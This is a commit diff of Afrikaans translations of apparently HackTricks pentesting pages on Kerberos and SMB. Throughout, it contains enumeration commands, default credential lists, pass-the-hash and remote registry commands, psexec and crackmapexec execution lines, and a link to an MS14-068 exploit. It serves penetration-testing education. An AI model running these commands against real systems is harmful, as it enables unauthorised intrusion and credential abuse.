Translated ['src/network-services-pentesting/pentesting-kerberos-88/READ

This commit is contained in:
Translator 2025-09-29 09:38:09 +00:00
parent 1557f8ff52
commit 36832bc91a
4 changed files with 437 additions and 304 deletions

View File

@ -4,18 +4,55 @@
## Basiese Inligting
**Kerberos** werk op 'n beginsel waar dit gebruikers autentiseer sonder om hul toegang tot hulpbronne direk te bestuur. Dit is 'n belangrike onderskeid omdat dit die protokol se rol in sekuriteitsraamwerke beklemtoon.
**Kerberos** werk op 'n beginsel waarby dit gebruikers verifieer sonder om hul toegang tot hulpbronne direk te bestuur. Dit is 'n belangrike onderskeid omdat dit die protokol se rol in veiligheidsraamwerke beklemtoon.
In omgewings soos **Active Directory** is **Kerberos** instrumenteel in die vestiging van die identiteit van gebruikers deur hul geheime wagwoorde te valideer. Hierdie proses verseker dat elke gebruiker se identiteit bevestig word voordat hulle met netwerkhulpbronne interaksie het. egter, **Kerberos** brei nie sy funksionaliteit uit om die toestemmings wat 'n gebruiker oor spesifieke hulpbronne of dienste het, te evalueer of af te dwing nie. In plaas daarvan bied dit 'n veilige manier om gebruikers te autentiseer, wat 'n kritieke eerste stap in die sekuriteitsproses is.
In omgewings soos **Active Directory**, is **Kerberos** instrumenteel in die vestiging van gebruikersidentiteit deur hul geheime wagwoorde te valideer. Hierdie proses verseker dat elke gebruiker se identiteit bevestig is voordat hulle met netwerkhulpbronne interaksie het. **Kerberos** strek egter nie sy funksionaliteit uit tot die evalueer of afdwing van die toestemmings wat 'n gebruiker oor spesifieke hulpbronne of dienste het nie. In plaas daarvan bied dit 'n veilige wyse om gebruikers te verifieer, wat 'n kritieke eerste stap in die sekuriteitsproses is.
Na autentisering deur **Kerberos** word die besluitnemingsproses rakende toegang tot hulpbronne gedelegeer aan individuele dienste binne die netwerk. Hierdie dienste is dan verantwoordelik vir die evaluering van die geverifieerde gebruiker se regte en toestemmings, gebaseer op die inligting wat deur **Kerberos** oor die gebruiker se voorregte verskaf word. Hierdie ontwerp stel 'n skeiding van bekommernisse tussen die autentisering van die identiteit van gebruikers en die bestuur van hul toegangregte in staat, wat 'n meer buigsame en veilige benadering tot hulpbronbestuur in verspreide netwerke moontlik maak.
Na verifikasie deur **Kerberos** word die besluitnemingsproses oor toegang tot hulpbronne gedelegeer aan individuele dienste binne die netwerk. Hierdie dienste is dan verantwoordelik om die geverifieerde gebruiker se regte en toestemmings te evalueer, gebaseer op die inligting wat deur **Kerberos** verskaf word oor die gebruiker se voorregte. Hierdie ontwerp maak 'n skeiding van bekommernisse tussen die verifikasie van gebruikersidentiteite en die bestuur van hul toegangsregte moontlik, wat 'n meer buigsame en veilige benadering tot hulpbronbestuur in verspreide netwerke moontlik maak.
**Standaard Poort:** 88/tcp/udp
**Standaardpoort:** 88/tcp/udp
```
PORT STATE SERVICE
88/tcp open kerberos-sec
```
### **Om te leer hoe om Kerberos te misbruik, moet jy die pos oor** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)** lees.**
### **Om te leer hoe om Kerberos te misbruik moet jy die pos oor** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
## Kerberos-only omgewings: kliëntvoorbereiding en probleemoplossing
Wanneer NTLM op domein-dienste (SMB/WinRM/etc.) gedeaktiveer is, moet jy met Kerberos authentiseer. Algemene struikelblokke en 'n werkende workflow:
- Tydsynchronisasie is verpligtend. As jou gasheerklok met meer as 'n paar minute skeef is, sal jy `KRB_AP_ERR_SKEW` sien en alle Kerberos auth sal misluk. Sinkroniseer teen die DC:
```bash
# quick one-shot sync (requires sudo)
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
```
- Genereer 'n geldige krb5.conf vir die teiken realm/domein. `netexec` (CME fork) kan een vir jou genereer terwyl jy SMB toets:
```bash
# Generate krb5.conf and install it
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
```
- Verkry 'n TGT en verifieer die ccache:
```bash
kinit <user>
klist
```
- Gebruik Kerberos met SMB gereedskap (geen wagwoorde gestuur nie, gebruik jou ccache):
```bash
# netexec / CME
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
# impacket examples also support -k / --no-pass to use the ccache
smbclient --kerberos //<dc.fqdn>/IPC$
```
- GSSAPI SSH single sign-on (OpenSSH na Windows OpenSSH server):
```bash
# Ensure krb5.conf is correct and you have a TGT (kinit)
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Wenke:
- Maak seker jou `/etc/hosts` los die presiese FQDN op waarna jy per SSH/SMB gaan, en dat dit voor enige blote domeininskrywings kom as jy DNS oorbeskryf. SPN-onversoenbaarhede breek GSSAPI.
- As NTLM op SMB gedeaktiveer is, kan jy `STATUS_NOT_SUPPORTED` sien by NTLM-pogings; voeg `-k` by om Kerberos af te dwing.
## Meer
@ -25,14 +62,21 @@ PORT STATE SERVICE
### MS14-068
Die MS14-068 fout laat 'n aanvaller toe om met 'n wettige gebruiker se Kerberos aanmeldtoken te sjoemel om valslik verhoogde voorregte te eis, soos om 'n Domein Admin te wees. Hierdie vals eis word per ongeluk deur die Domeinbeheerder gevalideer, wat ongeoorloofde toegang tot netwerkbronne oor die Active Directory-woud moontlik maak.
Die MS14-068-kwesbaarheid stel 'n aanvaller in staat om 'n wettige gebruiker se Kerberos-aanmeldings-token te manipuleer om valslik verhoogde voorregte te beweer, soos om 'n Domain Admin te wees. Hierdie vervalste aanspraak word per fout deur die Domain Controller gevalideer, wat ongemagtigde toegang tot netwerkbronne regoor die Active Directory forest moontlik maak.
{{#ref}}
https://adsecurity.org/?p=541
{{#endref}}
Ander exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## Verwysings
- [NetExec (CME) wiki Kerberos and krb5.conf generation](https://www.netexec.wiki/)
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
- [MIT Kerberos Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## HackTricks Outomatiese Opdragte
```

View File

@ -2,62 +2,63 @@
{{#include ../../banners/hacktricks-training.md}}
## **Poort 139**
## **Port 139**
Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en desktops binne 'n lokale netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk bedryf word, word deur hul NetBIOS names bereik, wat tot 16 karakters lank kan wees en dikwels verskil van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (optredend as die client) 'n opdrag gee om "call" na 'n ander toepassing (optredend as die server) te rig deur gebruik te maak van **TCP Port 139**.
Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, PCs en Desktops binne 'n plaaslike netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk bedryf word, word bereik deur hul NetBIOS names, wat tot 16 karakters lank kan wees en dikwels verskil van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om 'n ander toepassing (wat as die bediener optree) te "call" deur **TCP Port 139** te gebruik.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Tegnieks gesproke word Port 139 verwys as NBT over IP, terwyl Port 445 as SMB over IP geïdentifiseer word. Die akroniem **SMB** staan vir **Server Message Blocks**, wat ook modern as die **Common Internet File System (CIFS)** bekend staan. As 'n application-layer netwerkprotokol word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te verskaf en verskeie vorme van kommunikasie tussen nodes op 'n netwerk te fasiliteer.
Tegnies word Port 139 as NBT over IP aangedui, terwyl Port 445 as SMB over IP geïdentifiseer word. Die akroniem **SMB** staan vir **Server Message Blocks**, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaag-netwerkprotokol word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te bewerkstellig, en verskeie vorme van kommunikasie tussen nodes op 'n netwerk te fasiliteer.
Byvoorbeeld, in die konteks van Windows word beklemtoon dat SMB direk oor TCP/IP kan werk, wat die behoefte aan NetBIOS oor TCP/IP oortollig maak deur gebruik te maak van poort 445. In teenstelling daarmee, op ander stelsels word poort 139 gebruik, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
Byvoorbeeld, in die konteks van Windows word beklemtoon dat SMB direk oor TCP/IP kan werk, wat die behoefte aan NetBIOS oor TCP/IP uitskakel deur die gebruik van port 445. Andersyds word by ander stelsels die gebruik van port 139 aangetref, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Die **Server Message Block (SMB)** protokol, wat in 'n **kliënt-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkhulpbronne soos drukkers en routers te reël. Hoofsaaklik gebruik binne die **Windows** bedryfstelselreeks, verseker SMB agterwaartse versoenbaarheid, wat toestelle met nuwer weergawes van Microsoft's bedryfstelsel toelaat om naatloos met dié wat ouer weergawes gebruik te kommunikeer. Verder bied die **Samba** projek 'n gratis sagteware-oplossing wat die implementering van SMB op **Linux** en **Unix** stelsels moontlik maak, en sodoende kruis-platform kommunikasie deur SMB vergemaklik.
Die **Server Message Block (SMB)**-protokol, wat in 'n **client-server**-model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkhulpbronne soos drukkers en routers te reël. Hoofsaaklik gebruik binne die **Windows**-bedryfstelselreeks, verseker SMB agterwaartse verenigbaarheid, waardeur toestelle met nuwer weergawes van Microsoft se bedryfstelsel naatloos met dié wat ouer weergawes gebruik kan kommunikeer. Verder bied die **Samba**-projek 'n gratis sagteware-oplossing wat die implementering van SMB op **Linux**- en Unix-stelsels moontlik maak, en sodoende kruisplatform-kommunikasie deur SMB fasiliteer.
Shares, wat **willekeurige dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB bediener aangebied word, wat die hiërargie vir 'n kliënt sigbaar maak en deels onafhanklik van die bediener se werklike struktuur kan wees. Die Access Control Lists (ACLs), wat toegangregte definieer, laat fynkorrelbeheer oor gebruikerspermisse toe, insluitend attribuut soos `execute`, `read`, en `full access`. Hierdie permissies kan aan individuele gebruikers of groepe toegewys word, gebaseer op die shares, en verskil van die plaaslike permissies wat op die bediener gestel is.
Shares, wat **willekeurige dele van die plaaslike lêerstelsel** voorstel, kan deur 'n SMB-server voorsien word, wat die hiërargie vir 'n kliënt sigbaar maak en deels **onafhanklik** van die werklike struktuur van die server laat wees. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, laat vir **fynkorrelige beheer** oor gebruikerspermissies toe, insluitend attribuite soos **`execute`**, **`read`**, en **`full access`**. Hierdie permissies kan aan individuele gebruikers of groepe toegek word, gebaseer op die shares, en is onderskeibaar van die plaaslike permissies wat op die server gestel is.
### IPC$ Share
Toegang tot die IPC$ share kan verkry word deur 'n anonieme null session, wat interaksie met dienste wat via named pipes blootgestel word, toelaat. Die hulpmiddel `enum4linux` is nuttig vir hierdie doel. Korrekt gebruik, stel dit in staat om die verkryging van:
Toegang tot die IPC$ share kan verwerf word deur 'n anonieme null session, wat interaksie met dienste blootgestel via named pipes moontlik maak. Die hulpmiddel `enum4linux` is nuttig vir hierdie doel. Korrekt gebruik, stel dit in staat om die verkryging van:
- Inligting oor die bedryfstelsel
- Besonderhede oor die ouer-domein
- 'n samestelling van plaaslike gebruikers en groepe
- Besonderhede oor die parent domain
- 'n lys van plaaslike gebruikers en groepe
- Inligting oor beskikbare SMB shares
- Die geldende stelselsekuriteitsbeleid
- Die effektiewe stelselsekuriteitsbeleid
Hierdie funksionaliteit is krities vir netwerkadministrateurs en sekuriteitsprofessionals om die sekuriteitsposisie van SMB (Server Message Block) dienste op 'n netwerk te beoordeel. `enum4linux` bied 'n omvattende oorsig van die teikenstelsel se SMB-omgewing, wat noodsaaklik is om potensiële kwesbaarhede te identifiseer en te verseker dat die SMB-dienste behoorlik beveilig is.
Hierdie funksionaliteit is krities vir netwerkadministrateurs en sekuriteitsprofessionals om die sekuriteitshouding van SMB (Server Message Block)-dienste op 'n netwerk te evalueer. `enum4linux` bied 'n omvattende oorsig van die teikenstelsel se SMB-omgewing, wat noodsaaklik is vir die identifisering van potensiële kwesbaarhede en om te verseker dat die SMB-dienste behoorlik beveilig is.
```bash
enum4linux -a target_ip
```
Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n volledige enumerasie teen 'n teiken wat deur `target_ip` gespesifiseer word uit te voer.
Hierbo getoonde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n volledige enumerasie uit te voer teen 'n teiken aangedui deur `target_ip`.
## Wat is NTLM
As jy nie weet wat NTLM is nie, of jy wil weet hoe dit werk en hoe om dit te misbruik, sal jy hierdie bladsy oor **NTLM** baie interessant vind, waarin verduidelik word **hoe hierdie protokol werk en hoe jy dit in jou voordeel kan benut:**
As jy nie weet wat NTLM is nie, of as jy wil weet hoe dit werk en hoe om dit te misbruik, sal jy hierdie bladsy oor **NTLM** baie interessant vind, waar verduidelik word **hoe hierdie protokol werk en hoe jy daarvan voordeel kan trek:**
{{#ref}}
../../windows-hardening/ntlm/
{{#endref}}
## **Server Enumeration**
## **Bediener-Enumerasie**
### **Scan** 'n netwerk op soek na hosts:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB-bedienerweergawe
### SMB bedienerversie
Om moontlike exploits vir die SMB-weergawe te soek, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:
- Gebruik die **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
- Of hierdie script:
- Of hierdie skrip:
```bash
#!/bin/sh
#Author: rewardone
@ -81,11 +82,11 @@ searchsploit microsoft smb
```
### **Moontlike** Kredensiale
| **Gebruikersnaam(e)** | **Common passwords** |
| **Gebruikersnaam(e)** | **Algemene wagwoorde** |
| -------------------- | ----------------------------------------- |
| _(leeg)_ | _(leeg)_ |
| guest | _(blank)_ |
| Administrator, admin | _(blank)_, password, administrator, admin |
| _(leeg)_ | _(leeg)_ |
| guest | _(leeg)_ |
| Administrator, admin | _(leeg)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
@ -119,9 +120,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Enumereer Gebruikers, Groepe & Aangemelde Gebruikers
### Enumereer gebruikers, groepe & aangemelde gebruikers
Hierdie inligting behoort reeds deur enum4linux en enum4linux-ng versamel te wees.
Hierdie inligting behoort reeds deur enum4linux en enum4linux-ng versamel te wees
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -133,7 +134,7 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Lys plaaslike gebruikers
### Opnoem lokale gebruikers
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
@ -143,34 +144,34 @@ Eenreël
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Enumereer plaaslike gebruikers
### Metasploit - Enumereer lokale gebruikers
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Enumerasie van LSARPC en SAMR rpcclient**
### **Enumerering van LSARPC en SAMR rpcclient**
{{#ref}}
rpcclient-enumeration.md
{{#endref}}
### GUI-verbinding vanaf linux
### GUI verbinding vanaf linux
#### In die terminal:
`xdg-open smb://cascade.htb/`
#### In die lêerblaaier-venster (nautilus, thunar, etc)
#### In file browser window (nautilus, thunar, etc)
`smb://friendzone.htb/general/`
## Enumerasie van gedeelde vouers
## Gedeelde vouers Enumerering
### Lys van gedeelde vouers
### Lys gedeelde vouers
Dit word altyd aanbeveel om te kyk of jy toegang tot enigiets het. As jy nie credentials het nie, probeer om **null** **credentials/guest user** te gebruik.
Dit word altyd aanbeveel om te kyk of jy toegang tot iets het; as jy nie credentials het nie, probeer om **null** **credentials/guest user** te gebruik.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -184,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Koppel/Lys 'n gedeelde vouer**
### **Verbind/Lys 'n gedeelde vouer**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
@ -196,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Manueel Windows shares opnoem en daaraan koppel**
### **Manueel Windows shares opnoem en daarmee verbind**
Dit is moontlik dat jy beperk is om enige shares van die gasheer te wys, en wanneer jy probeer om dit op te lys, lyk dit asof daar geen shares is om aan te koppel nie. Dit kan dus die moeite werd wees om kortliks te probeer om manueel aan 'n share te koppel. Om die shares manueel op te noem, wil jy moontlik na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME kyk wanneer 'n geldige sessie gebruik word (bv. null session of valid credentials). Hierdie kan aandui of die share bestaan en jy nie toegang daartoe het nie, of die share bestaan glad nie.
Dit is moontlik dat jy beperk is om enige shares van die gasheer te vertoon, en wanneer jy probeer om dit op te som lyk dit asof daar geen shares is om aan te koppel nie. Dit kan dus die moeite werd wees om kortliks te probeer om handmatig aan 'n share te koppel. Om die shares manueel op te noem, wil jy dalk let op antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME wanneer jy 'n geldige sessie gebruik (bv. null session of valid credentials). Dit kan aandui of die share bestaan en jy geen toegang daartoe het nie, of dat die share glad nie bestaan nie.
Common share names for Windows targets are
Common share names for windows targets are
- C$
- D$
@ -211,14 +212,14 @@ Common share names for Windows targets are
- SYSVOL
- NETLOGON
(Common share-names uit _**Network Security Assessment 3rd edition**_)
(Common share names from _**Network Security Assessment 3rd edition**_)
Jy kan probeer om daaraan te koppel deur die volgende kommando te gebruik
Jy kan probeer om daarmee te verbind deur die volgende opdrag te gebruik
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
of hierdie skrip (gebruik 'n null session)
of hierdie skrip (wat 'n null session gebruik)
```bash
#/bin/bash
@ -237,10 +238,10 @@ done
```
voorbeelde
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Enumereer shares vanaf Windows / sonder derdeparty-instrumente**
### **Enumereer gedeelde gidse van Windows / sonder derdeparty-gereedskap**
PowerShell
```bash
@ -252,14 +253,14 @@ get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
CMD konsole
CMD-konsole
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Snap-in (grafies)
MMC Snap-in (grafiese)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
@ -268,14 +269,14 @@ compmgmt.msc
```
explorer.exe (grafies), voer `\\<ip>\` in om die beskikbare nie-verborgde shares te sien.
### Monteer 'n gedeelde gids
### Mount 'n gedeelde gids
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Laai lêers af**
Lees die vorige afdelings om te leer hoe om met credentials/Pass-the-Hash te verbind.
Lees vorige afdelings om te leer hoe om met credentials/Pass-the-Hash verbinding te maak.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -292,14 +293,14 @@ smbclient //<IP>/<share>
```
Opdragte:
- mask: spesifiseer die mask wat gebruik word om die lêers binne die gids te filter (bv. "" vir alle lêers)
- recurse: skakel rekursie aan (standaard: af)
- prompt: skakel die bevestiging vir bestandsname af (standaard: aan)
- mget: kopieer alle lêers wat by die mask pas vanaf die host na die client machine
- mask: spesifiseer die mask wat gebruik word om die lêers in die gids te filter (bv. "" vir alle lêers)
- recurse: skakel rekursie aan (verstek: uit)
- prompt: skakel vra vir lêernaam af (verstek: aan)
- mget: kopieer alle lêers wat by die mask pas van host na kliëntmasjien
(_Inligting vanaf die manpage van smbclient_)
(_Inligting vanaf die manbladsy van smbclient_)
### Soektog na gedeelde domeinvouers
### Soek na gedeelde vouers in die domein
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
@ -311,51 +312,65 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Wat veral interessant is op shares, is lêers soos **`Registry.xml`**, aangesien hulle **wagwoorde kan bevat** vir gebruikers wat via Group Policy met **autologon** gekonfigureer is. Of **`web.config`**-lêers, aangesien hulle credentials bevat.
Spesifiek interessant in shares is die lêers genaamd **`Registry.xml`** aangesien hulle **wagwoorde kan bevat** vir gebruikers wat met **autologon** via Group Policy geconfigureer is. Of **`web.config`**-lêers aangesien hulle credentials bevat.
> [!TIP]
> Die **SYSVOL share** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin kan jy baie verskillende batch-, VBScript- en PowerShell **skripte** vind.\
> Jy moet die **skripte** daarin nagaan aangesien jy sensitiewe inligting soos **wagwoorde** kan vind.
> Die **SYSVOL share** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin kan jy baie verskillende batch-, VBScript- en PowerShell **scripts** vind.\
> Jy moet die **scripts** binne dit nagaan aangesien jy sensitiewe inligting soos **wagwoorde** kan vind.
## Lees die register
## Lees die Register
Jy mag in staat wees om die **register te lees** met sommige ontdekte credentials. Impacket **`reg.py`** laat jou toe om dit te probeer:
Jy mag in staat wees om die **register te lees** met behulp van sommige ontdekte credentials. Impacket **`reg.py`** laat jou dit probeer:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post-eksploitasie
## Na-uitbuiting
Die **standaardkonfigurasie van** 'n **Samba** bediener is gewoonlik geleë in `/etc/samba/smb.conf` en kan sommige **gevaarlike konfigurasies** hê:
Die **verstekkonfigurasie van** 'n **Samba**-bediener is gewoonlik geleë in `/etc/samba/smb.conf` en kan sommige **gevaarlike konfigurasies** hê:
| **Instelling** | **Beskrywing** |
| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Laat toe om beskikbare shares in die huidige share te lys? |
| `browseable = yes` | Laat die lys van beskikbare shares in die huidige share toe? |
| `read only = no` | Verbied die skep en wysiging van lêers? |
| `writable = yes` | Laat gebruikers toe om lêers te skep en te wysig? |
| `guest ok = yes` | Laat toe om by die diens aan te sluit sonder 'n wagwoord? |
| `enable privileges = yes` | Erken voorregte wat aan 'n spesifieke SID toegeken is? |
| `create mask = 0777` | Watter toestemmings moet aan nuut geskepte lêers toegeken word? |
| `directory mask = 0777` | Watter toestemmings moet aan nuut geskepte gidse toegeken word? |
| `logon script = script.sh` | Watter script moet uitgevoer word tydens die gebruiker se aanmelding? |
| `guest ok = yes` | Laat toe om aan die diens te koppel sonder 'n wagwoord? |
| `enable privileges = yes` | Hanteer bevoegdhede wat aan 'n spesifieke SID toegewys is? |
| `create mask = 0777` | Watter regte moet aan nuutgeskepte lêers toegewys word? |
| `directory mask = 0777` | Watter regte moet aan nuutgeskepte gidse toegewys word? |
| `logon script = script.sh` | Watter script moet uitgevoer word by die gebruiker se aanmelding? |
| `magic script = script.sh` | Watter script moet uitgevoer word wanneer die script gesluit word? |
| `magic output = script.out` | Waar die uitset van die magic script gestoor moet word? |
| `magic output = script.out` | Waar moet die uitvoer van die magic script gestoor word? |
Die opdrag `smbstatus` gee inligting oor die **bediener** en oor **wie verbind is**.
## Outentiseer met Kerberos
## Authentiseer met Kerberos
Jy kan **outentiseer** by **Kerberos** met die gereedskap **smbclient** en **rpcclient**:
Jy kan **authentiseer** by **Kerberos** met die hulpmiddels **smbclient** en **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **Voer opdragte uit**
In Kerberos-only omgewings (NTLM gedeaktiveer) kan NTLM-pogings teen SMB `STATUS_NOT_SUPPORTED` teruggee. Los algemene Kerberos-probleme op en dwing Kerberos auth af:
```bash
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k
```
Vir 'n volledige kliëntopstelling (krb5.conf-generering, kinit, SSH GSSAPI/SPN voorbehoude) sien:
{{#ref}}
../pentesting-kerberos-88/README.md
{{#endref}}
## **Voer Kommando's Uit**
### **crackmapexec**
crackmapexec kan opdragte uitvoer deur enige van **mmcexec, smbexec, atexec, wmiexec** te **misbruik**, waarbij **wmiexec** die **verstek-metode** is. Jy kan aandui watter opsie jy verkies om te gebruik met die parameter `--exec-method`:
crackmapexec kan kommando's uitvoer deur enige van **mmcexec, smbexec, atexec, wmiexec** te misbruik, met **wmiexec** as die **standaard** metode. Jy kan aandui watter opsie jy verkies om te gebruik met die parameter `--exec-method`:
```bash
apt-get install crackmapexec
@ -379,8 +394,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Albei opsies sal **'n nuwe diens skep** (deur _\pipe\svcctl_ via SMB te gebruik) op die slagoffer se masjien en dit gebruik om **iets uit te voer** (**psexec** sal **upload** 'n uitvoerbare lêer na ADMIN$ share en **smbexec** sal na **cmd.exe/powershell.exe** wys en die payload in die argumente plaas --**file-less technique-**-).\
**Meer inligting** oor [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Beide opsies sal **'n nuwe diens skep** (using _\pipe\svcctl_ via SMB) op die slagoffer se masjien en dit gebruik om **iets uit te voer** (**psexec** sal **upload** 'n uitvoerbare lêer na ADMIN$ share en **smbexec** sal na **cmd.exe/powershell.exe** wys en die payload in die argumente plaas --**file-less technique-**-).\
**Meer inligting** oor [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) en [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -389,19 +404,19 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Deur die **parameter** `-k` te gebruik, kan jy teen **kerberos** autentikeer in plaas van **NTLM**
Met die **parameter**`-k` kan jy teen **kerberos** authentiseer in plaas van **NTLM**
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
